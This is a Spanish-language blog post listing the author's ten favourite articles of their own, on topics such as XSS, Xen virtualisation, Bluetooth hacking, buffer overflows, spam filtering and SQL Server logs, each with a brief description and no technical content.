10. Tunear logs de SQL Server. Los amantes de Linux tal vez me odien por incluirlo, pero al encontrar tan poca información concerniente al manejo de logs en SQL Server, creo que éste artículo es una gran gran ayuda para comprender el mundo de las BD de MS.
Para festejar la centena de post, me gustaría hacer un top 10 personal de los artículos que escribí. Si bien es claro que escribo sobre temas que me interesan, por lo que todos los artículos me resultan interesantes, es obvio que surge una preferencia en cuanto a la calidad, utilidad y el tiempo que me llevó escribir un dado artículo, sobre todo valuando el tiempo tomado para investigar y el aprendizaje que logré a partir de él. Es por eso que, si tengo que elegir 10 de mis artículos, me quedaría con los siguientes:
1. Cruzando información, Cross-Site Scripting (XSS), Rompiendo a lo grande: XSS avanzado y Combatiendo el Cross Site Scripting. Sin dudas mi favorito, por ser mi ataque web preferido, por la cantidad de horas dedicadas a investigar y por todo lo que aprendí en el proceso. Luego del libro XSS Attacks, creo que, en conjunto con algunos artículos que publiqué luego (Reflected XSS a través de SQL Injection y Cross-Site Request Frogery (CSRF): Haz lo que quiero sin que lo sepas), esta es la referencia más completa al XSS.
2. Crear máquina virtual en CentOS usando Xen. Sin dudas el artículo que ha resultado más útil para los navegantes, siendo el más leído del blog. Este artículo cubre todos los pasos y aclara todas las dificultades sobre cómo crear una máquina virtual en Xen. Si bien existen varias herramientas actualmente para realizar este trabajo, nunca hay algo más efectivo que hacer todo desde la consola. En el artículo se suman todas las experiencias que viví luego de horas de investigación y pruebas.
3. Hacking Bluetooth: ni tan fácil, ni tan imposible. Bluetooth está presente en prácticamente todo cacharro que llevamos encima, por ello me pareció necesario conocer los riesgos que corremos, y qué herramientas existen actualmente para realizar ataques. No fue tan fácil encontrar información realmente útil, así que recopilé lo mejor de muchas horas de investigación.
4. Buffer Overflow, un asesino en serie y Evitando que un programa explote, técnicas para detectar buffer overflows. Artículo partido en dos partes por su extensión, es uno de los que considero must read. Pasaron los años pero el problema del buffer overflow persiste y va a seguir existiendo, siendo de los problemas más graves que afecta nuestros sistemas. Considero necesario saber cómo funciona y con qué contamos para defendernos. En conjunto con la serie XSS, cuentan con la mayor investigación que he realizado para este blog.
5. sex + viagra + porn + drugs = SPAM! y Dando pelea al SPAM: Sender Policy Framework (SPF). El SPAM no da tregua, varios reportes indican que durante 2009 representó el 95% del total de mails enviados, por eso es necesario conocer las técnicas anti-spamming y utilizarlas de la mejor manera posible.
6. Server TFTP + Actualización IOS. Otro que considero de extrema utilidad. Si trabajan con redes, en algún momento se toparán con TFTP y probablemente necesiten actualizar IOS, y ahí se acordarán de éste artículo.
7. FAQ GNU/Linux y Programas en GNU/Linux. Luego de leer las mismas preguntas una y otra vez en el foro linuxespanol.com se me ocurrió realizar este FAQ. En conjunto con otros muchos FAQs de linux que andan dando vueltas, lo considero como una excelente introducción para quienes deseen utilizar este sistema operativo. A su vez, todo el que se inicia en Linux necesita conocer qué programas utilizar para realizar las tareas que necesitan, y por eso armé un compilado con nombres de programa y utilidad.
8. Cloud Computing: dónde mierd* están mis datos???. Durante el año pasado se le dio muchisima importancia a una cosa, el Cloud Computing. Actualmente no se deja de hablar de él, sus beneficios y los riesgos de seguridad que representan. Por esto creo que es interesante tener aunque sea una mínima idea de lo que trata y los servicios que ofrece y por eso planteo la lectura de este artículo.
9. Construyendo un Bootstrap. El bajo nivel es uno de mis temas favoritos y no muy tratado actualmente en la era del alto nivel. Es por eso que ésta investigación sobre cómo crear un bootstrap me resultó tan interesante, porque se aprende qué hay debajo y cómo se programa.
10. Tunear logs de SQL Server. Los amantes de Linux tal vez me odien por incluirlo, pero al encontrar tan poca información concerniente al manejo de logs en SQL Server, creo que éste artículo es una gran gran ayuda para comprender el mundo de las BD de MS.
Suscribirse a:
Entradas (Atom)
